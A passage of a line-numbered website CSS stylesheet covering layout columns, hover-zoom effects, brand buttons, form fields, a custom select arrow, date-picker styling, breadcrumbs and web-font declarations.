1486} 1487 1488@media screen and (max-width: 767px) { 1489 .flex-cols .col-4-5 { 1490 width: 100%; 1491 } 1492} 1493 1494.flex-cols.has-gap { 1495 gap: 2em; 1496} 1497 1498.flex-cols.has-gap .col-1-2 { 1499 width: calc(50% - 1em); 1500} 1501 1502@media screen and (max-width: 767px) { 1503 .flex-cols.has-gap .col-1-2 { 1504 width: 100%; 1505 } 1506} 1507 1508.flex-centered { 1509 align-items: center; 1510 justify-content: center; 1511} 1512 1513/* hover zoom */ 1514.hover-zoom { 1515 background-color: #000; 1516} 1517 1518.hover-zoom .cover-image, 1519.hover-zoom .object-fit { 1520 -webkit-transform: scale(1.1); 1521 -moz-transform: scale(1.1); 1522 -ms-transform: scale(1.1); 1523 transform: scale(1.1); 1524 -webkit-backface-visibility: hidden; 1525 -moz-backface-visibility: hidden; 1526 -ms-backface-visibility: hidden; 1527 -o-backface-visibility: hidden; 1528 backface-visibility: hidden; 1529 -webkit-transition: opacity 1s ease-in-out, -webkit-transform 1s; 1530 transition: opacity 1s ease-in-out, transform 1s; 1531 pointer-events: none; 1532} 1533 1534.hover-zoom.hover-zoom-small .cover-image, 1535.hover-zoom.hover-zoom-small .object-fit { 1536 -webkit-transform: scale(1.05); 1537 -moz-transform: scale(1.05); 1538 -ms-transform: scale(1.05); 1539 transform: scale(1.05); 1540 -webkit-transition: opacity 1.5s ease-in-out, -webkit-transform 1.5s; 1541 transition: opacity 1.5s ease-in-out, transform 1.5s; 1542} 1543 1544.hover-zoom.has-lazy img[data-src] { 1545 -webkit-transition: opacity 1s ease-in-out, transform 1s; 1546 -moz-transition: opacity 1s ease-in-out, transform 1s; 1547 -ms-transition: opacity 1s ease-in-out, transform 1s; 1548 transition: opacity 1s ease-in-out, transform 1s; 1549 opacity: 0; 1550} 1551 1552.hover-zoom.has-lazy img[data-src].img-loaded { 1553 opacity: 1;
1554} 1555 1556.hover-zoom.has-lazy img[data-src].img-loaded.fade { 1557 opacity: .1; 1558} 1559 1560.hover-zoom:hover .cover-image, 1561.hover-zoom:hover .object-fit { 1562 -webkit-transform: scale(1); 1563 -moz-transform: scale(1); 1564 -ms-transform: scale(1); 1565 transform: scale(1); 1566} 1567 1568.is-zoom { 1569 position: relative; 1570 overflow: hidden; 1571} 1572 1573.is-zoom::before, .is-zoom::after { 1574 content: ''; 1575 pointer-events: none; 1576 position: absolute; 1577 opacity: 0; 1578 transition: opacity .75s ease-in-out; 1579} 1580 1581.is-zoom::before { 1582 top: 0; 1583 left: 0; 1584 z-index: 2; 1585 width: 100%; 1586 height: 100%; 1587 background-color: #000; 1588} 1589 1590.is-zoom::after { 1591 top: 50%; 1592 left: 50%; 1593 z-index: 2; 1594 color: #fff; 1595 width: 38px; 1596 height: 38px; 1597 background: url(/images/layout/icons/zoom.png) center no-repeat; 1598 background-size: contain; 1599 transform: translate(-50%, -50%); 1600} 1601 1602.is-zoom .object-fit { 1603 backface-visibility: hidden; 1604 transition: transform .75s; 1605} 1606 1607.is-zoom:hover::before { 1608 opacity: .6; 1609} 1610 1611.is-zoom:hover::after { 1612 opacity: 1; 1613} 1614 1615.is-zoom:hover .object-fit { 1616 transform: scale(1.1); 1617} 1618 1619/* google map embed */ 1620.gmap { 1621 height: 500px; 1622 margin: 0 auto 20px; 1623 margin: 0 0 1.8em; 1624} 1625 1626.gmap iframe { 1627 border: none; 1628 width: 100%; 1629 height: 500px; 1630} 1631 1632/* list with items set to display inline block */ 1633.inline-list { 1634 margin-left: 0; 1635 /* centered */ 1636 /* add pipe delimiters */ 1637} 1638 1639.inline-list.pad > li:not(:last-child) { 1640 margin-right: 4em; 1641 margin-bottom: 2em; 1642} 1643 1644.inline-list > li { 1645 display: inline-block; 1646} 1647 1648.inline-list.centered { 1649 text-align: center; 1650} 1651 1652.inline-list.pipes > li:before { 1653 content: '|'; 1654 padding: 0 .75em; 1655} 1656 1657.inline-list.pipes > li:first-child:before { 1658 content: ''; 1659 padding: 0; 1660} 1661 1662.video-wrapper { 1663 position: relative; 1664 padding-bottom: 56.25%; 1665 /* 16:9 */ 1666 padding-top: 25px; 1667 height: 0; 1668} 1669 1670.video-wrapper iframe { 1671 position: absolute; 1672 top: 0; 1673 left: 0; 1674 width: 100%; 1675 height: 100%; 1676} 1677 1678.w-100 { 1679 width: 100%; 1680 height: auto; 1681} 1682 1683/* 1684.bg-vid { 1685 @include transform(translateX(-50%) translateY(-50%)); 1686 position: absolute; 1687 top: 50%; 1688 left: 50%; 1689 min-width: 100%; 1690 min-height: 100%; 1691 width: auto; 1692 height: auto; 1693 background-size: cover; 1694 z-index: 2; 1695 opacity: 1; 1696} 1697*/ 1698/* add arrow */ 1699/* 1700.arr { 1701 &:after { 1702 content: '\003e'; 1703 padding-left: .5em; 1704 position: relative; 1705 top: -.05em; 1706 } 1707} 1708*/ 1709/* Animate fade up - JS is located in base.js */ 1710.fade-up { 1711 -webkit-transition: opacity 0.75s, transform 0.75s; 1712 -moz-transition: opacity 0.75s, transform 0.75s; 1713 -ms-transition: opacity 0.75s, transform 0.75s; 1714 transition: opacity 0.75s, transform 0.75s; 1715 -webkit-transform: translate3d(0, 20px, 0); 1716 -moz-transform: translate3d(0, 20px, 0); 1717 -ms-transform: translate3d(0, 20px, 0); 1718 transform: translate3d(0, 20px, 0); 1719 opacity: 0; 1720} 1721 1722.fade-up.active { 1723 -webkit-transform: translate3d(0, 0, 0); 1724 -moz-transform: translate3d(0, 0, 0); 1725 -ms-transform: translate3d(0, 0, 0); 1726 transform: translate3d(0, 0, 0); 1727 opacity: 1; 1728} 1729 1730/* Variables 1731**********************************/ 1732/* all vars, no need for @if critical */ 1733/* breakpoints */ 1734/* Animation - see header.scss for usage examples */ 1735/* Form placeholders */ 1736/* Usage: 1737 1738 .foo { 1739 @include placeholder { 1740 color: green; 1741 } 1742 } 1743 1744 @include placeholder { 1745 color: red; 1746 } 1747*/ 1748/* Flexbox 1749***************************************/ 1750/* Card */ 1751/* Filter */ 1752/* Gridder */ 1753/*************************************** 1754 INLINE STYLES - Above the fold 1755****************************************/ 1756/* This is used on the <button> element */ 1757button { 1758 background: transparent; 1759 border: none; 1760 cursor: pointer; 1761 box-sizing: border-box; 1762 color: currentColor; 1763 padding: 0; 1764 font-family: "Nunito Sans", sans-serif; 1765 transition: background-color .35s, color .35s; 1766} 1767 1768/* Brand button */ 1769.btn { 1770 -webkit-transition: background-color 0.35s, color 0.35s; 1771 -moz-transition: background-color 0.35s, color 0.35s; 1772 -ms-transition: background-color 0.35s, color 0.35s; 1773 transition: background-color 0.35s, color 0.35s; 1774 box-sizing: border-box; 1775 color: #ff671f; 1776 font-family: "Lora", serif; 1777 font-size: inherit; 1778 letter-spacing: .025em; 1779 text-align: center; 1780 display: inline-block; 1781 line-height: 1; 1782 text-transform: uppercase; 1783 position: relative; 1784 padding: 0 .5em; 1785} 1786 1787.btn:hover { 1788 color: #56534d; 1789} 1790 1791.btn-pill { 1792 display: inline-block; 1793 color: #fff !important; 1794 font-size: .75rem !important; 1795 border-radius: 2em; 1796 text-transform: uppercase; 1797 font-size: inherit; 1798 position: relative; 1799 letter-spacing: .1em; 1800} 1801 1802.btn-pill + .btn-pill { 1803 margin-left: 2.5em; 1804} 1805 1806@media screen and (max-width: 767px) { 1807 .btn-pill + .btn-pill { 1808 margin: .75em 0; 1809 } 1810} 1811 1812.btn-pill .button-bg { 1813 top: 0; 1814 left: 0; 1815 position: absolute; 1816 width: 100%; 1817 height: 100%; 1818 background: #ff671f; 1819 color: #fff; 1820 border-radius: 2em; 1821 overflow: hidden; 1822 transition: transform 0.4s cubic-bezier(0.1, 0, 0.3, 1); 1823} 1824 1825.btn-pill .button-bg::before, .btn-pill .button-bg::after { 1826 content: ''; 1827 position: absolute; 1828 background: #161441; 1829} 1830 1831.btn-pill .button-bg::before { 1832 width: 110%; 1833 height: 0; 1834 padding-bottom: 110%; 1835 top: 50%; 1836 left: 50%; 1837 border-radius: 50%; 1838 transform: translate3d(-50%, -50%, 0) scale3d(0, 0, 1); 1839} 1840 1841.btn-pill .button-bg::after { 1842 top: 0; 1843 left: 0; 1844 width: 100%; 1845 height: 100%; 1846 opacity: 0; 1847 transition: opacity 0.3s; 1848} 1849 1850.btn-pill > span:not(.button-bg) { 1851 display: block; 1852 position: relative; 1853 padding: .55rem 1.85rem; 1854} 1855 1856.btn-pill:hover { 1857 color: #fff; 1858} 1859 1860.btn-pill:hover .button-bg { 1861 transform: scale3d(1.2, 1.2, 1); 1862} 1863 1864@media screen and (max-width: 767px) { 1865 .btn-pill:hover .button-bg { 1866 transform: scale3d(1.1, 1.1, 1); 1867 } 1868} 1869 1870.btn-pill:hover .button-bg::before { 1871 transition: transform 0.4s cubic-bezier(0.1, 0, 0.3, 1); 1872 transform: translate3d(-50%, -50%, 0) scale3d(1, 1, 1); 1873} 1874 1875.btn-pill:hover .button-bg::after { 1876 opacity: 1;
1877 transition-duration: 0.01s; 1878 transition-delay: 0.3s; 1879} 1880 1881.btn-pill.btn-ghost { 1882 color: #ff671f !important; 1883 border: 1px solid; 1884} 1885 1886.btn-pill.btn-ghost .button-bg { 1887 background-color: transparent; 1888} 1889 1890.btn-pill.btn-ghost:hover { 1891 color: #fff; 1892} 1893 1894/* Brand button modifiers */ 1895.btn-inverted { 1896 background-color: #5B3427; 1897} 1898 1899.btn-inverted:hover { 1900 background-color: #ff671f; 1901} 1902 1903.btn-full { 1904 display: block; 1905} 1906 1907/* 1908.btn-light { 1909 background-color: #fff; 1910 color: #71605c; 1911} 1912 1913.btn-gray { 1914 background-color: #667586; 1915} 1916 1917.btn-black { 1918 background-color: #000; 1919} 1920 1921.btn-bordered { 1922 @include transition(color .35s, border-color .35s, background-color .35s); 1923 background-color: transparent; 1924 border: 2px solid; 1925 font-size: 12px; 1926 font-weight: 700; 1927 letter-spacing: .2em; 1928 text-transform: uppercase; 1929 1930 &:hover { 1931 background-color: $brand-color; 1932 color: #fff; 1933 border-color: $brand-color; 1934 } 1935}*/ 1936/*************************************** 1937 DEFERRED STYLES 1938****************************************/ 1939/* Variables 1940**********************************/ 1941/* all vars, no need for @if critical */ 1942/* breakpoints */ 1943/* Animation - see header.scss for usage examples */ 1944/* Form placeholders */ 1945/* Usage: 1946 1947 .foo { 1948 @include placeholder { 1949 color: green; 1950 } 1951 } 1952 1953 @include placeholder { 1954 color: red; 1955 } 1956*/ 1957/* Flexbox 1958***************************************/ 1959/* Card */ 1960/* Filter */ 1961/* Gridder */ 1962/* general form */ 1963@media screen and (max-width: 767px) { 1964 form { 1965 font-size: 16px; 1966 } 1967} 1968 1969@media screen and (-webkit-min-device-pixel-ratio: 0) { 1970 select, 1971textarea, 1972input { 1973 font-size: 16px; 1974 } 1975} 1976 1977.label, 1978label { 1979 display: block; 1980 line-height: 1.1em; 1981 margin-bottom: 6px; 1982} 1983 1984input[type="text"], 1985input[type="email"], 1986select, 1987textarea { 1988 box-sizing: border-box; 1989 background-color: #fff; 1990 font-family: "Nunito Sans", sans-serif; 1991 font-size: inherit; 1992 width: 100%; 1993 border: 1px solid #ccc; 1994 border-radius: 0; 1995 outline: none; 1996} 1997 1998input[type="text"], 1999input[type="email"], 2000textarea { 2001 padding: 4px 8px; 2002} 2003 2004select { 2005 padding: 3px 4px; 2006} 2007 2008select:focus { 2009 outline: 1.5px solid black; 2010} 2011 2012button[type="submit"]:not(.btn-pill), 2013input[type="submit"] { 2014 -webkit-transition: background-color 0.35s; 2015 -moz-transition: background-color 0.35s; 2016 -ms-transition: background-color 0.35s; 2017 transition: background-color 0.35s; 2018 -webkit-appearance: none; 2019 border: none; 2020 border-radius: 0; 2021 box-sizing: border-box; 2022 cursor: pointer; 2023 letter-spacing: .2em; 2024 background-color: #ff671f; 2025 color: #fff; 2026 text-transform: uppercase; 2027 font-family: "Nunito Sans", sans-serif; 2028 padding: .6em 2em .6em 2.2em; 2029} 2030 2031button[type="submit"]:not(.btn-pill):hover, 2032input[type="submit"]:hover { 2033 background-color: #999; 2034} 2035 2036::-webkit-input-placeholder { 2037 color: #acacac; 2038 opacity: 1; 2039} 2040 2041:-moz-placeholder { 2042 color: #acacac; 2043 opacity: 1; 2044} 2045 2046::-moz-placeholder { 2047 color: #acacac; 2048 opacity: 1; 2049} 2050 2051:-ms-input-placeholder { 2052 color: #acacac; 2053 opacity: 1; 2054} 2055 2056.tick-list { 2057 list-style-type: none; 2058 margin: 6px 0 0; 2059} 2060 2061.tick-list > li { 2062 display: inline-block; 2063 vertical-align: top; 2064 margin: 0 7px 0 0; 2065} 2066 2067.tick-list > li label { 2068 white-space: nowrap; 2069} 2070 2071@media screen and (max-width: 480px) { 2072 .tick-list > li { 2073 display: block; 2074 } 2075} 2076 2077.tick-list.stack > li { 2078 display: block; 2079} 2080 2081.tick-list label { 2082 display: inline; 2083} 2084 2085.required { 2086 color: #c80303; 2087} 2088 2089/* Site specific common styles */ 2090.fs-tick { 2091 margin-bottom: 1.5em; 2092} 2093 2094.fs-tick legend { 2095 box-sizing: border-box; 2096 display: block; 2097 width: 100%; 2098 letter-spacing: .05em; 2099 line-height: 1.25em; 2100} 2101 2102.fs-pairs { 2103 display: flex; 2104 justify-content: space-between; 2105 flex-wrap: wrap; 2106} 2107 2108.fs-pairs > div { 2109 box-sizing: border-box; 2110 margin-bottom: 20px; 2111 position: relative; 2112} 2113 2114.fs-pairs > div:not(.spread) { 2115 width: calc(50% - .75em); 2116} 2117 2118@media screen and (max-width: 767px) { 2119 .fs-pairs > div:not(.spread) { 2120 width: 100%; 2121 } 2122} 2123 2124.fs-pairs .spread { 2125 width: 100%; 2126} 2127 2128@media screen and (max-width: 767px) { 2129 .fs-pairs { 2130 margin: 0; 2131 } 2132} 2133 2134/* 2135.fs-thirds { 2136 //overflow: hidden; 2137 2138 .field { 2139 //width: 33.3333333333%; 2140 width: calc(33.3333333333% - 20px); 2141 float: left; 2142 box-sizing: border-box; 2143 margin-bottom: 20px; 2144 position: relative; 2145 2146 &:nth-child(1){ margin-right: 15px; } 2147 &:nth-child(2){ margin-right: 15px; margin-left: 15px; } 2148 &:nth-child(3){ margin-left: 15px; } 2149 2150 @media screen and (max-width: 767px){ 2151 width: auto; 2152 float: none; 2153 2154 &:nth-child(1){ margin-right: 0; } 2155 &:nth-child(2){ margin-right: 0; margin-left: 0; } 2156 &:nth-child(3){ margin-left: 0; } 2157 } 2158 2159 } 2160 2161} 2162*/ 2163/* 2164.fs-fourths { 2165 .field { 2166 width: calc(25% - 23px); 2167 float: left; 2168 box-sizing: border-box; 2169 margin-bottom: 20px; 2170 position: relative; 2171 2172 &:nth-child(1){ margin-right: 15px; } 2173 &:nth-child(2), 2174 &:nth-child(3){ margin-right: 15px; margin-left: 15px; } 2175 &:nth-child(4){ margin-left: 15px; } 2176 2177 @media screen and (max-width: 767px){ 2178 width: auto; 2179 float: none; 2180 2181 &:nth-child(1){ margin-right: 0; } 2182 &:nth-child(2), 2183 &:nth-child(3){ margin-right: 0; margin-left: 0; } 2184 &:nth-child(4){ margin-left: 0; } 2185 } 2186 2187 } 2188} 2189*/ 2190/* Custom select 2191 - class applies to select element itself, not a wrapper element
2192 - source: https://css-tricks.com/styling-a-select-like-its-2019/ */ 2193.select-css { 2194 display: block; 2195 font-size: 16px; 2196 font-family: sans-serif; 2197 /*font-weight: 700;*/ 2198 color: #444; 2199 line-height: 1.3; 2200 padding: .6em 1.4em .5em .8em; 2201 width: 100%; 2202 max-width: 100%; 2203 /* useful when width is set to anything other than 100% */ 2204 box-sizing: border-box; 2205 margin: 0; 2206 border: 1px solid #9f9f9f; 2207 /*box-shadow: 0 1px 0 1px rgba(0,0,0,.04); 2208 border-radius: .5em;*/ 2209 -moz-appearance: none; 2210 -webkit-appearance: none; 2211 appearance: none; 2212 background-color: #fff; 2213 /* note: bg image below uses 2 urls. The first is an svg data uri for the arrow icon, and the second is the gradient. 2214 for the icon, if you want to change the color, be sure to use `%23` instead of `#`, since it's a url. You can also swap in a different svg icon or an external image reference 2215 2216 */ 2217 background-image: url("data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22292.4%22%20height%3D%22292.4%22%3E%3Cpath%20fill%3D%22%23007CB2%22%20d%3D%22M287%2069.4a17.6%2017.6%200%200%200-13-5.4H18.4c-5%200-9.3%201.8-12.9%205.4A17.6%2017.6%200%200%200%200%2082.2c0%205%201.8%209.3%205.4%2012.9l128%20127.9c3.6%203.6%207.8%205.4%2012.8%205.4s9.2-1.8%2012.8-5.4L287%2095c3.5-3.5%205.4-7.8%205.4-12.8%200-5-1.9-9.2-5.5-12.8z%22%2F%3E%3C%2Fsvg%3E"), linear-gradient(to bottom, #ffffff 0%, #e5e5e5 100%); 2218 background-repeat: no-repeat, repeat; 2219 /* arrow icon position (1em from the right, 50% vertical) , then gradient position*/ 2220 background-position: right .7em top 50%, 0 0; 2221 /* icon size, then gradient */ 2222 background-size: .65em auto, 100%; 2223} 2224 2225/* Hide arrow icon in IE browsers */ 2226.select-css::-ms-expand { 2227 display: none; 2228} 2229 2230/* Hover style */ 2231.select-css:hover { 2232 border-color: #888; 2233} 2234 2235/* Focus style */ 2236.select-css:focus { 2237 border-color: #aaa; 2238 /* It'd be nice to use -webkit-focus-ring-color here but it doesn't work on box-shadow */ 2239 box-shadow: 0 0 1px 3px rgba(59, 153, 252, 0.7); 2240 box-shadow: 0 0 0 3px -moz-mac-focusring; 2241 color: #222; 2242} 2243 2244/* Set options to normal weight */ 2245.select-css option { 2246 font-weight: normal; 2247} 2248 2249/* Support for rtl text, explicit support for Arabic and Hebrew */ 2250*[dir="rtl"] .select-css, :root:lang(ar) .select-css, :root:lang(iw) .select-css { 2251 background-position: left .7em top 50%, 0 0; 2252 padding: .6em .8em .5em 1.4em; 2253} 2254 2255/* Disabled styles */ 2256.select-css:disabled, .select-css[aria-disabled=true] { 2257 color: graytext; 2258 background-image: url("data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22292.4%22%20height%3D%22292.4%22%3E%3Cpath%20fill%3D%22graytext%22%20d%3D%22M287%2069.4a17.6%2017.6%200%200%200-13-5.4H18.4c-5%200-9.3%201.8-12.9%205.4A17.6%2017.6%200%200%200%200%2082.2c0%205%201.8%209.3%205.4%2012.9l128%20127.9c3.6%203.6%207.8%205.4%2012.8%205.4s9.2-1.8%2012.8-5.4L287%2095c3.5-3.5%205.4-7.8%205.4-12.8%200-5-1.9-9.2-5.5-12.8z%22%2F%3E%3C%2Fsvg%3E"), linear-gradient(to bottom, #ffffff 0%, #e5e5e5 100%); 2259} 2260 2261.select-css:disabled:hover, .select-css[aria-disabled=true] { 2262 border-color: #aaa; 2263} 2264 2265/* 2266.has-float-label { 2267 box-sizing: border-box; 2268 position: relative; 2269 border-bottom: 1px solid #999; 2270 2271 label { 2272 @include transition(all .2s); 2273 position: absolute; 2274 top: .7em; 2275 left: 0; 2276 z-index: 2; 2277 cursor: text; 2278 color: #000; 2279 font-size: 13px; 2280 letter-spacing: .05em; 2281 //background-color: #fff; 2282 //padding: 0 .6em; 2283 pointer-events: none; 2284 } 2285 2286 select { 2287 @include appearance(none); 2288 opacity: 0; // prevent select from showing behind label 2289 } 2290 2291 2292 input, 2293 select { 2294 border: none; 2295 //padding: 8px; 2296 padding: 8px 8px 8px 0; 2297 height: 36px; 2298 background-color: transparent; 2299 } 2300 2301 // active state 2302 input:focus ~ label, 2303 .has-value ~ label, 2304 select:focus ~ label { 2305 top: -.6em; 2306 font-size: 11px; 2307 } 2308 2309 textarea:focus ~ label { 2310 top: -1.2em; 2311 font-size: 11px; 2312 } 2313 2314 // show select 2315 select:focus, 2316 select.has-value { opacity: 1; } 2317 2318} 2319*/ 2320.has-select { 2321 position: relative; 2322} 2323 2324.has-select::after { 2325 content: '\e809'; 2326 font-family: 'fontello'; 2327 font-size: 1.2rem; 2328 color: currentColor; 2329 pointer-events: none; 2330 position: absolute; 2331 right: .5em; 2332 bottom: .35em; 2333} 2334 2335body span.ui-button-icon.ui-icon.ui-icon-closethick:before { 2336 content: 'x'; 2337 display: block; 2338} 2339 2340body .ui-datepicker { 2341 font-family: "Nunito Sans", sans-serif; 2342 padding: 1em 1.25em; 2343 color: #666666; 2344 width: auto; 2345} 2346 2347body .ui-datepicker table { 2348 font-size: 12px; 2349} 2350 2351body .ui-datepicker th { 2352 font-weight: 400; 2353 padding: .3em; 2354} 2355 2356body .ui-datepicker .ui-datepicker-header { 2357 background: none; 2358 color: currentColor; 2359 border: none; 2360 font-weight: 700; 2361 font-size: 18px; 2362 text-transform: uppercase; 2363 padding-bottom: .25em; 2364} 2365 2366body .ui-datepicker .ui-datepicker-header a { 2367 color: currentColor; 2368} 2369 2370body .ui-datepicker .ui-datepicker-title { 2371 letter-spacing: normal; 2372} 2373 2374body .ui-state-hover, 2375body .ui-datepicker .ui-state-hover, 2376body .ui-datepicker-header .ui-state-hover, 2377body .ui-state-focus, 2378body .ui-datepicker .ui-state-focus, 2379body .ui-datepicker-header .ui-state-focus { 2380 background-color: transparent; 2381} 2382 2383body .ui-state-default, 2384body .ui-datepicker .ui-state-default, 2385body .ui-datepicker-header .ui-state-default { 2386 border: none; 2387 background-color: transparent; 2388 letter-spacing: .05em; 2389} 2390 2391body .ui-datepicker .ui-datepicker-header .ui-icon { 2392 background: none; 2393} 2394 2395body .ui-icon-circle-triangle-w:before { 2396 -webkit-transform: translate(-50%, -50%); 2397 -moz-transform: translate(-50%, -50%); 2398 -ms-transform: translate(-50%, -50%); 2399 transform: translate(-50%, -50%); 2400 content: ''; 2401 pointer-events: none; 2402 position: absolute; 2403 top: 50%; 2404 left: 50%; 2405 width: 0; 2406 height: 0; 2407 border-top: 6px solid transparent; 2408 border-bottom: 6px solid transparent; 2409 border-right: 9px solid; 2410} 2411 2412body .ui-icon-circle-triangle-e:before { 2413 -webkit-transform: translate(-50%, -50%); 2414 -moz-transform: translate(-50%, -50%); 2415 -ms-transform: translate(-50%, -50%); 2416 transform: translate(-50%, -50%); 2417 content: ''; 2418 pointer-events: none; 2419 position: absolute; 2420 top: 50%; 2421 left: 50%; 2422 width: 0; 2423 height: 0; 2424 border-top: 6px solid transparent; 2425 border-bottom: 6px solid transparent; 2426 border-left: 9px solid; 2427} 2428 2429body .ui-state-active, 2430body .ui-datepicker .ui-state-custom-highlight .ui-state-default, 2431body .ui-datepicker .ui-state-active, 2432body .ui-datepicker-header .ui-state-active { 2433 font-weight: 700; 2434 background-color: #ff671f; 2435 color: #fff; 2436} 2437 2438body .ui-state-highlight, 2439body .ui-datepicker .ui-state-highlight, 2440body .ui-datepicker-header .ui-state-highlight { 2441 background-color: #ccc; 2442 color: #000; 2443 font-weight: 700; 2444} 2445 2446body .ui-datepicker td { 2447 padding: 0; 2448 border: 1px solid #ccc; 2449} 2450 2451body .ui-datepicker td span, 2452body .ui-datepicker td a { 2453 text-align: center; 2454 padding: .75em; 2455} 2456 2457:root { 2458 --litepicker-button-prev-month-color: #333; 2459 --litepicker-button-next-month-color: #333; 2460 --litepicker-highlighted-day-color: #fff; 2461 --litepicker-highlighted-day-color-bg: #802755; 2462} 2463 2464.litepicker { 2465 font-size: .9rem; 2466 border: 1px solid #c5c5c5; 2467} 2468 2469.litepicker .button-previous-month, 2470.litepicker .button-next-month { 2471 position: relative; 2472 cursor: pointer !important; 2473} 2474 2475.litepicker .button-previous-month svg, 2476.litepicker .button-next-month svg { 2477 visibility: hidden; 2478} 2479 2480.litepicker .button-previous-month::before, 2481.litepicker .button-next-month::before { 2482 content: ''; 2483 pointer-events: none; 2484 font-family: 'fontello'; 2485 font-size: 1rem; 2486 color: currentColor; 2487 position: absolute; 2488 top: 8%; 2489 left: 50%; 2490 transform: translateX(-50%); 2491} 2492 2493.litepicker .button-previous-month:focus, 2494.litepicker .button-next-month:focus { 2495 outline: 1px solid blue; 2496} 2497 2498.litepicker .button-previous-month::before { 2499 content: '\e81a'; 2500} 2501 2502.litepicker .button-next-month::before { 2503 content: '\e81b'; 2504} 2505 2506.litepicker .container__months { 2507 box-shadow: none; 2508} 2509 2510.litepicker .container__months .month-item-header div > .month-item-name { 2511 font-family: "Lora", serif; 2512 font-weight: 300; 2513 color: #ff671f; 2514 font-size: 1.15rem; 2515 text-transform: uppercase; 2516} 2517 2518.litepicker .container__days > div, 2519.litepicker .container__days > a { 2520 padding: .75rem 0; 2521} 2522 2523.litepicker .container__days .day-item { 2524 border-radius: 0; 2525} 2526 2527.litepicker .container__days .day-item.is-start-date, .litepicker .container__days .day-item.is-end-date.is-flipped { 2528 border-top-left-radius: 0; 2529 border-bottom-left-radius: 0; 2530} 2531 2532.litepicker .container__days .day-item.is-end-date { 2533 border-top-right-radius: 2rem; 2534 border-bottom-right-radius: 2rem; 2535} 2536 2537.litepicker .container__days .day-item.is-start-date.is-end-date { 2538 border-radius: 0; 2539} 2540 2541.litepicker .container__days .day-item.is-start-date, .litepicker .container__days .day-item.is-end-date { 2542 background-color: #ff671f; 2543 color: #fff; 2544} 2545 2546.litepicker .container__days .day-item.is-in-range:focus-visible { 2547 outline-offset: -.15rem; 2548} 2549 2550.litepicker .container__days .day-item.is-today:not(.is-start-date) { 2551 background-color: #eee; 2552 color: #56534d; 2553} 2554 2555.litepicker .container__days .day-item[role="button"] { 2556 cursor: pointer; 2557} 2558 2559.is-admin input[type="text"], 2560.is-admin input[type="email"], 2561.is-admin select, 2562.is-admin textarea, 2563.edit-mode input[type="text"], 2564.edit-mode input[type="email"], 2565.edit-mode select, 2566.edit-mode textarea { 2567 font-family: Arial, Helvetica, sans-serif; 2568} 2569 2570/* Variables 2571**********************************/ 2572/* all vars, no need for @if critical */ 2573/* breakpoints */ 2574/* Animation - see header.scss for usage examples */ 2575/* Form placeholders */ 2576/* Usage: 2577 2578 .foo { 2579 @include placeholder { 2580 color: green; 2581 } 2582 } 2583 2584 @include placeholder { 2585 color: red; 2586 } 2587*/ 2588/* Flexbox 2589***************************************/ 2590/* Card */ 2591/* Filter */
2592/* Gridder */ 2593.breadcrumb { 2594 font-size: 12px; 2595 margin: 0 1.5em 3em; 2596 text-align: right; 2597 color: #ff671f; 2598} 2599 2600.breadcrumb a { 2601 -webkit-transition: opacity 0.35s; 2602 -moz-transition: opacity 0.35s; 2603 -ms-transition: opacity 0.35s; 2604 transition: opacity 0.35s; 2605 color: #56534d; 2606 opacity: .5; 2607} 2608 2609.breadcrumb a:hover { 2610 opacity: 1; 2611} 2612 2613.breadcrumb li:not(:first-child) { 2614 margin-left: 2em; 2615} 2616 2617.breadcrumb li:last-child a { 2618 color: currentColor; 2619 cursor: default; 2620 pointer-events: none; 2621 opacity: 1; 2622} 2623 2624.breadcrumb li:last-child a br { 2625 display: none; 2626} 2627 2628#hero + .breadcrumb { 2629 margin-top: -1.5em; 2630} 2631 2632@media screen and (max-width: 767px) { 2633 .breadcrumb { 2634 display: none; 2635 } 2636} 2637 2638/* Variables 2639**********************************/ 2640/* all vars, no need for @if critical */ 2641/* breakpoints */ 2642/* Animation - see header.scss for usage examples */ 2643/* Form placeholders */ 2644/* Usage: 2645 2646 .foo { 2647 @include placeholder { 2648 color: green; 2649 } 2650 } 2651 2652 @include placeholder { 2653 color: red; 2654 } 2655*/ 2656/* Flexbox 2657***************************************/ 2658/* Card */ 2659/* Filter */ 2660/* Gridder */ 2661@font-face { 2662 font-family: 'Kristabelle'; 2663 src: url("/css/fonts/kristabelle-webfont.woff2") format("woff2"), url("/css/fonts/kristabelle-webfont.woff") format("woff"); 2664 font-weight: 400; 2665 font-style: normal; 2666 font-display: swap; 2667} 2668 2669@font-face { 2670 font-family: "Medio"; 2671 src: url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.eot"); 2672 src: url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.eot?#iefix") format("embedded-opentype"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.woff") format("woff"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.woff2") format("woff2"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.ttf") format("truetype"), url("/css/fonts/29b07fca8ca805f44453a5b4ec90ac97.svg#Medio") format("svg"); 2673 font-weight: normal; 2674 font-style: normal; 2675 font-display: swap; 2676} 2677 2678@font-face { 2679 font-family: 'Stay Classy Duo Script'; 2680 src: url("/css/fonts/StayClassyDuoScript.eot"); 2681 src: url("/css/fonts/StayClassyDuoScript.eot?#iefix") format("embedded-opentype"), url("/css/fonts/StayClassyDuoScript.woff2") format("woff2"), url("/css/fonts/StayClassyDuoScript.woff") format("woff"), url("/css/fonts/StayClassyDuoScript.ttf") format("truetype"), url("/css/fonts/StayClassyDuoScript.svg#StayClassyDuoScript") format("svg"); 2682 font-weight: normal; 2683 font-style: normal; 2684 font-display: swap; 2685} 2686 2687@font-face { 2688 font-family: 'kepler'; 2689 src: url("/css/fonts/kepler_std_light_display.woff2") format("woff2"), url("/css/fonts/kepler_std_light_display.woff") format("woff"); 2690 font-weight: normal; 2691 font-style: normal; 2692} 2693 2694/* Variables 2695**********************************/ 2696/* all vars, no need for @if critical */ 2697/* breakpoints */ 2698/* Animation - see header.scss for usage examples */ 2699/* Form placeholders */ 2700/* Usage: 2701 2702 .foo { 2703 @include placeholder { 2704 color: green; 2705 } 2706 } 2707 2708 @include placeholder { 2709 color: red; 2710 } 2711*/ 2712/* Flexbox 2713***************************************/ 2714/* Card */ 2715/* Filter */ 2716/* Gridder */ 2717/* Slider */ 2718.slick-slider { 2719 position: relative; 2720 display: block; 2721 box-sizing: border-box; 2722 -webkit-touch-callout: none; 2723 